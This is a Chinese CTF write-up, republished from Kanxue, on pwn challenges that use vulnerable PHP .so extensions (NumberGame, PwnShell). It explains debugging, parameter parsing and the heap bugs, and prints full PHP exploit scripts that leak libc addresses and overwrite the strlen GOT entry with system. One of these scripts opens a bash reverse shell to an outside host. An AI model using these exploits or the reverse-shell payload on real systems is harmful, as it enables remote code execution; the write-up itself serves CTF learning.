CTF php .so pwn 题型分析

admin 2024年6月16日22:10:07评论3 views字数 10637阅读35分27秒阅读模式
基础的一些知识
◆最近打比赛 遇到了几道 php so 模块的 pwn 题,个人感觉挺有意思的。
◆一般情况下会把php 大部分函数 ban 掉,只是用自定义so文件里的函数。

.so 文件的导出函数

 
虽然里面函数名前面有zif_ ,实际上调用的函数名是:
 
add_chunk()
show_chunk()
edit_chunk()
edit_name()
free_chunk()

CTF php .so pwn 题型分析

gdb调试方法(一种)

◆可以先把本地的 gdbserver 上次到docker, 能正常运行就行了。
CTF php .so pwn 题型分析
◆我只开了一个 docker 环境,正常情况下,他的ip 就是 这个加1 ,也就是172.17.0.2。
CTF php .so pwn 题型分析
CTF php .so pwn 题型分析
◆然后用 gdbserver 启动。
CTF php .so pwn 题型分析
CTF php .so pwn 题型分析
◆上面是调试的方法。

函数传参分析

◆分析一下正常情况的状态。
<?phpecho "123";
echo "123";add_chunk(1,[0x23],"name");

?>


◆gdb 调试
rdi 第一个参数可能是 传递参数的数量,
rsi 可以通过该指针指向的字符数量来得知正确的参数数量(当前add_chunk) `lzz` 3个参数 类型

CTF php .so pwn 题型分析
◆然后后面参数里的地址应该是用于存放我们传入参数的指针。
CTF php .so pwn 题型分析

zend_parse_parameters

https://www.bookstack.cn/read/phpbook/7.1.md
最简单的获取函数调用者传递过来的参数便是使用zend_parse_parameters()函数。zend_parse_parameters()函数的前几个参数我们直接用内核里宏来生成便可以了,形式为:ZEND_NUM_ARGS() TSRMLS_CC,注意两者之间有个空格,但是没有逗号。从名字可以看出,ZEND_NUM_ARGS()代表着参数的个数。紧接着需要传递给zend_parse_parameters()函数的参数是一个用于格式化的字符串,就像printf的第一个参数一样。下面表示了最常用的几个符号。
◆数字类型判断
4 int
6 strings
7 arrary

◆类型 传擦和返回值,用于恢复结构。
int zend_parse_parameters(size_t arg_num, char *TypeChar, ...)

◆如果参数不是预期的数量和类型,zend_parse_parameters 会返回 -1 否则 0。
 
◆简单了解下lzz 是什么东东。
b Boolean
l Integer 整型
d Floating point 浮点型
s String 字符串
r Resource 资源
a Array 数组
o Object instance 对象
O Object instance of a specified type 特定类型的对象
z Non-specific zval 任意类型~
Z zval**类型
f 表示函数、方法名称,PHP5.3之前没有的

◆然后是简单分析的图。
CTF php .so pwn 题型分析
◆这部分来自星盟安全的pwnshell wp。
bin_data_size的映射表,将宏定义展开为如下数组所示:
uint32_t bin_data_size[] = {8, 16, 24, 32, 40, 48, 56, 64, 80, 96, 112, 128, 160, 192, 224, 256, 320, 384, 448, 512, 640, 768, 896, 1024, 1280, 1536, 1792, 2048, 2560, 3072 ...};

◆接下来来分析几道题目。

NumberGame

◆来自 第一届“长城杯”信息安全铁人三项赛决 夺取闯关 pwn numbergame。

题目环境

server.py
#!/usr/bin/python3import sys
import tempfile
import ossys.stdout.write("File size >> ")
sys.stdout.flush()
size = int(sys.stdin.readline().strip())
if size > 1024*1024:
sys.stdout.write("Too large!")
sys.stdout.flush()
sys.exit(1)
sys.stdout.write("Data >> ")
sys.stdout.flush()
script = sys.stdin.read(size)

filename = tempfile.mktemp()
with open(filename, "w") as f:
f.write(script)

os.system("php " + filename)


Dockerfile
FROM php:8.3-apache
RUN apt-get update
RUN apt-get upgrade -y
RUN DEBIAN_FRONTEND=noninteractive
RUN apt install lib32z1 xinetd libstdc++6 lib32stdc++6 python3 -y
RUN useradd -m ctf
RUN echo "ctf:ctf" | chpasswd
WORKDIR /home/ctf
ADD ynetd /home/ctf
ADD server.py /home/ctf
ADD run.sh /home/ctfCOPY ./php.ini /usr/local/etc/php
COPY ./numberGame.so /usr/local/lib/php/extensions/no-debug-non-zts-20230831
COPY ./readflag /
COPY ./flag.txt /flag.txt

RUN chmod 400 /flag.txt
RUN chmod u+sx /readflag

EXPOSE 5555
CMD ./ynetd -p 5555 "timeout 30 ./run.sh"


◆然后php.ini 基本上禁用了所有的php函数
[PHP]disable_functions = "system",...
disable_classes = ""...
extension = numberGame.so ; 扩展的 so

◆给了.tar.gz 的docker 镜像包,使用以下命令进行加载(线下比赛没有网络 给Dockerfile 也拉起不了,所以给打包的环境)。
docker load -i jingxiang.tar.gz

CTF php .so pwn 题型分析
◆启动环境
docker run --name run_numbergame -p 5555:5555 -itd numbergame:latest

分析 numberGame.so 漏洞

CTF php .so pwn 题型分析CTF php .so pwn 题型分析
CTF php .so pwn 题型分析
CTF php .so pwn 题型分析

触发漏洞

大致结构体:
 
struct mechunk{
size_t *name_ptr;
size_t num;
size_t array_size; // 默认 最大 100, 通过漏洞使这里变大,我们既可以实现数组越界
...;
};

正常情况下,array_size 是 4。
 
CTF php .so pwn 题型分析
array_size 被改 ( 和quicksort 有关),基本上使用 edit 时 idx 就没有限制了,只要知道 heap 地址和另一个地址,即可实现任意地址写。
 
CTF php .so pwn 题型分析

exploit

<?php$heap_base = 0;
$libc_base = 0;
$libc = "";
$mbase = "";function u64($leak){
$leak = strrev($leak);
$leak = bin2hex($leak);
$leak = hexdec($leak);
return $leak;
}

function p64($addr){
$addr = dechex($addr);
$addr = hex2bin($addr);
$addr = strrev($addr);
$addr = str_pad($addr, 8, "x00");
return $addr;
}

function leakaddr($buffer){
global $libc, $mbase;
$p = '/([0-9a-f]+)-[0-9a-f]+ .* /usr/lib/x86_64-linux-gnu/libc.so.6/';
$p1 = '/([0-9a-f]+)-[0-9a-f]+ .* /usr/local/lib/php/extensions/no-debug-non-zts-20230831/numberGame.so/';
preg_match_all($p, $buffer, $libc);
preg_match_all($p1, $buffer, $mbase);
return "";
}

ob_start("leakaddr");
include("/proc/self/maps");
$buffer = ob_get_contents();
ob_end_flush();
leakaddr($buffer);

echo "n----1-----n";
add_chunk(5,[0,0,0,0x80000000,0],"test1"); # 需要构造好
#add_chunk(1,[0],"/bin/sh;");
add_chunk(1,[0],"/bin/sh");
$rel = show_chunk(0); # 这里触发漏洞 vlun 会把数组控制的范围增大,然后 越界修改和泄露其他地方的值

$heap = $rel[7];
$heap += ($rel[8] << 0x20); // 泄露 heap 地址

$of = $heap - 72; # 数组起始
#
$str_got = hexdec($mbase[1][0])+ 0x4008; // 计算 strlen 的地址,
##
echo "n----heap-----n";
echo dechex($heap);
echo "n----4-----n";
echo $libc[1][0];
echo "n----4-----n";
#
$offset = ($str_got - $of) / 4;

$system = (hexdec($libc[1][0]) + 0x4c490);

echo $offset;
edit_chunk(0,$offset,$system & 0xffffffff); # 修改strlen_got表低四字节为 system
//修改name 的时候 会先 strlen测量 name 的长度 strlen("/bin/sh");

edit_name(1,'1'); #

?>


CTF php .so pwn 题型分析

PwnShell

题目环境

◆Dockerfile
FROM php:8.3-apache
RUN apt-get update
RUN apt-get upgrade -y
RUN DEBIAN_FRONTEND=noninteractive
RUN apt install vim -y
COPY ./stuff/php.ini /usr/local/etc/php
COPY ./stuff/vuln.so /usr/local/lib/php/extensions/no-debug-non-zts-20230831
COPY ./stuff/readflag /
COPY ./flag.txt /flag.txt
COPY ./stuff/index.php /var/www/html
RUN chmod 400 /flag.txt
RUN chmod u+sx /readflag
RUN chmod -R 777 /var/www/html

◆index.php, 用于上传 exp 文件,然后访问触发。
<?php
@error_reporting(E_ALL);
$file = $_FILES['file'];
if (!isset($file)){
die('upload error');
}
$result = move_uploaded_file($file['tmp_name'], $file['name']);
if ($result){
echo 'upload success';
}else{
echo 'upload error';
}

调试方法

◆本机配置php.ini vlun.so
/etc/php/8.3/apache2/php.ini
添加
extension = vuln.so

 
然后把所需要的 so 放到指定目录, 后面再启动的后应该就可以成功加载了。
CTF php .so pwn 题型分析
◆启动 docker 后可以在本机看到进程,但是由于使用的是 apache2 + php , 直接这个pid 是无法断点和跟进程序的,反正我是这样。
CTF php .so pwn 题型分析
◆直接用本机apache2 + php 环境调试。
 
◆所以说,没法直接调试,我们可以是用/usr/sbin/apachectl -X 即可调试进程.apachectl是一个 shell脚本。
CTF php .so pwn 题型分析
◆pid 80795 是真正的 执行程序,后面就调试它。
CTF php .so pwn 题型分析
◆gdb pdi
CTF php .so pwn 题型分析
◆可以看到存在漏洞的 .so,后面就是边看边调试了。
CTF php .so pwn 题型分析
◆交互脚本
from pwn import *
from os import system
import sys
s = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(str(delim), data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(str(delim), data)
r = lambda num :io.recv(num)
ru = lambda delims, drop=True :io.recvuntil(delims, drop)
rl = lambda :io.recvline()
itr = lambda :io.interactive()
uu32 = lambda data :u32(data.ljust(4,b'x00'))
uu64 = lambda data :u64(data.ljust(8,b'x00'))
ls = lambda data :log.success(data)
lss = lambda s :log.success('�33[1;31;40m%s --> 0x%x �33[0m' % (s, eval(s)))
context.arch = 'amd64'
context.log_level = 'debug'
context.terminal = ['tmux','splitw','-h','-l','190']
def start(binary,argv=[], *a, **kw):
'''Start the exploit against the target.'''
if args.GDB:
return gdb.debug([binary] + argv, gdbscript=gdbscript, *a, **kw)
elif args.RE:
return remote()
elif args.AWD:
# python3 exp.py AWD 1.1.1.1 PORT
IP = str(sys.argv[1])
PORT = int(sys.argv[2])
return remote(IP,PORT)
else:
return process([binary] + argv, *a, **kw)io = process(['/usr/sbin/apachectl', '-X'])
print(io.pid)

sleep(0.1)

import subprocess
gdbscript = '''
b *zif_addHacker
#b *zif_displayHacker
b *zif_editHacker
#b *zif_editHacker
c
'''

command = ["pgrep", "-f", "/usr/sbin/apache2"]
result = subprocess.run(command, capture_output=True, text=True)

pids = int(result.stdout.strip().split("n")[0])

gdb.attach(pids,gdbscript)

pause()

system('cp exp.php /var/www/html/exp.php')
system('curl http://127.0.0.1/exp.php')
itr()


分析 vuln.so

◆大致是这几个函数:
addHacker()
removeHacker()
displasyHacker()
edithacker()

CTF php .so pwn 题型分析
◆分析出的函数传参和调用
addHacker("test1","test2");# text, text
// 下面的基本上猜都能猜出来
removeHack(0); # idx
editHack(0,"ntxt"); # idx, new_text
displayHack(0); # idx

CTF php .so pwn 题型分析

漏洞分析

CTF php .so pwn 题型分析
addHacker(str_repeat("A", 0x8), str_repeat("B", 0x30));

◆还没有触发off by null 时,0x77b36de73040 里面存的指针还是正常的。
CTF php .so pwn 题型分析
off by null 触发后,下面的那个链表已经被修改了。
CTF php .so pwn 题型分析
◆重叠了, 后面就是指针打指针了,正好指向的是 editHacker() 编辑的指针。
CTF php .so pwn 题型分析
◆脚本试一下
<?php$heap_base = 0;
$libc_base = 0;
$libc = "";
$mbase = "";function hex($addr){
return dechex($addr);
}

// str_repeat("x90", 0x8)
// str_pad($cmd, 0x20, "x00")

function u64($leak){
$leak = strrev($leak);
$leak = bin2hex($leak);
$leak = hexdec($leak);
return $leak;
}

function p64($addr){
$addr = dechex($addr);
$addr = hex2bin($addr);
$addr = strrev($addr);
$addr = str_pad($addr, 8, "x00");
return $addr;
}

function leakaddr($buffer){
global $libc,$mbase;
$p = '/([0-9a-f]+)-[0-9a-f]+ .* /usr/lib/x86_64-linux-gnu/libc.so.6/';
#$p1 = '/([0-9a-f]+)-[0-9a-f]+ .* /usr/local/lib/php/extensions/no-debug-non-zts-20230831/vuln.so/';
$p1 = '/([0-9a-f]+)-[0-9a-f]+ .* /usr/lib/php/20230831/vuln.so/';
preg_match_all($p, $buffer, $libc);
preg_match_all($p1, $buffer, $mbase);
return "";
}

ob_start("leakaddr");
include("/proc/self/maps");
$buffer = ob_get_contents();
ob_end_flush();
leakaddr($buffer);
$libc_base=hexdec($libc[1][0]);
$module_base=hexdec($mbase[1][0]);

//echo hex($libc_base)."n";
//echo hex($module_base)."n";

$pay = p64($module_base + 0x4020);
$pay = str_pad($pay,0x40,"x01");
addHacker(str_repeat("A", 0x8), str_repeat("B", 0x30));
addHacker($pay, str_repeat("D", 0x2f));

editHacker(0,'111');

?>


◆可以看到 strlen 的 got 已经杯修改了,后面其实就很简单了。
CTF php .so pwn 题型分析
◆getshell
CTF php .so pwn 题型分析
CTF php .so pwn 题型分析
CTF php .so pwn 题型分析

exploit

◆这里只是测试的本地环境
<?php$heap_base = 0;
$libc_base = 0;
$libc = "";
$mbase = "";function hex($addr){
return dechex($addr);
}

// str_repeat("x90", 0x8)
// str_pad($cmd, 0x20, "x00")

function u64($leak){
$leak = strrev($leak);
$leak = bin2hex($leak);
$leak = hexdec($leak);
return $leak;
}

function p64($addr){
$addr = dechex($addr);
$addr = hex2bin($addr);
$addr = strrev($addr);
$addr = str_pad($addr, 8, "x00");
return $addr;
}

function leakaddr($buffer){
global $libc,$mbase;
$p = '/([0-9a-f]+)-[0-9a-f]+ .* /usr/lib/x86_64-linux-gnu/libc.so.6/';
#$p1 = '/([0-9a-f]+)-[0-9a-f]+ .* /usr/local/lib/php/extensions/no-debug-non-zts-20230831/vuln.so/';
$p1 = '/([0-9a-f]+)-[0-9a-f]+ .* /usr/lib/php/20230831/vuln.so/';
preg_match_all($p, $buffer, $libc);
preg_match_all($p1, $buffer, $mbase);
return "";
}

ob_start("leakaddr");
include("/proc/self/maps");
$buffer = ob_get_contents();
ob_end_flush();
leakaddr($buffer);
$libc_base=hexdec($libc[1][0]);
$module_base=hexdec($mbase[1][0]);
$system = $libc_base + 362304;

//echo hex($libc_base)."n";
//echo hex($module_base)."n";

$cmd = "echo `whoami`x00";

$pay = p64($module_base + 0x4020);
$pay = str_pad($pay,0x40,"x01");
addHacker(str_repeat("A", 0x8), str_repeat("B", 0x30));
addHacker($pay, str_repeat("D", 0x2f));
addHacker($cmd,$cmd);
editHacker(0,p64($system));

displayHacker(2);
?>


官方的Wp-exploit-学

 

<?php
$heap_base = 0;
$libc_base = 0;
$libc = "";
$mbase = "";
function u64($leak){
$leak = strrev($leak);
$leak = bin2hex($leak);
$leak = hexdec($leak);
return $leak;
}function p64($addr){
$addr = dechex($addr);
$addr = hex2bin($addr);
$addr = strrev($addr);
$addr = str_pad($addr, 8, "x00");
return $addr;
}

function leakaddr($buffer){
global $libc,$mbase;
$p = '/([0-9a-f]+)-[0-9a-f]+ .* /usr/lib/x86_64-linux-gnu/libc.so.6/';
$p1 = '/([0-9a-f]+)-[0-9a-f]+ .* /usr/local/lib/php/extensions/no-debug-non-zts-20230831/vuln.so/';
preg_match_all($p, $buffer, $libc);
preg_match_all($p1, $buffer, $mbase);
return "";
}

function leak(){
global $libc_base, $module_base, $libc, $mbase;

ob_start("leakaddr");
include("/proc/self/maps");
$buffer = ob_get_contents();
ob_end_flush();
leakaddr($buffer);
$libc_base=hexdec($libc[1][0]);
$module_base=hexdec($mbase[1][0]);
}
function attack($cmd){
global $libc_base, $module_base;
$payload = str_pad(p64($module_base + 0x4038).p64(0xff), 0x40, "x90");
$gadget = p64($libc_base + 0x4c490);
addHacker(str_repeat("x90", 0x8), str_repeat("x90", 0x30));
addHacker($payload, str_repeat("x90", 0x2f));
addHacker(str_pad($cmd, 0x20, "x00"), "114514");
editHacker(0, $gadget);
}
function main(){
$cmd = 'bash -c "bash -i >& /dev/tcp/114.514.19.19/810 0>&1"';
leak();
attack($cmd);
removeHacker(2);
}

main();
?>


 

附件下载

https://pan.baidu.com/s/1vMlz4msbfnf0tQsNEMhlwA?pwd=imzl

CTF php .so pwn 题型分析

看雪ID:imLZH1

https://bbs.kanxue.com/user-home-987517.htm

*本文为看雪论坛优秀文章,由 imLZH1 原创,转载请注明来自看雪社区
 

CTF php .so pwn 题型分析


# 往期推荐

1、Windows主机入侵检测与防御内核技术深入解析

2、BFS Ekoparty 2022 Linux Kernel Exploitation Challenge

3、银狐样本分析

4、使用pysqlcipher3操作Windows微信数据库

5、XYCTF两道Unity IL2CPP题的出题思路与题解

CTF php .so pwn 题型分析

CTF php .so pwn 题型分析

球分享

CTF php .so pwn 题型分析
球点赞
CTF php .so pwn 题型分析
球在看
CTF php .so pwn 题型分析
点击阅读原文查看更多

原文始发于微信公众号(看雪学苑):CTF php .so pwn 题型分析

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年6月16日22:10:07
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CTF php .so pwn 题型分析https://cn-sec.com/archives/2853647.html

发表评论

匿名网友 填写信息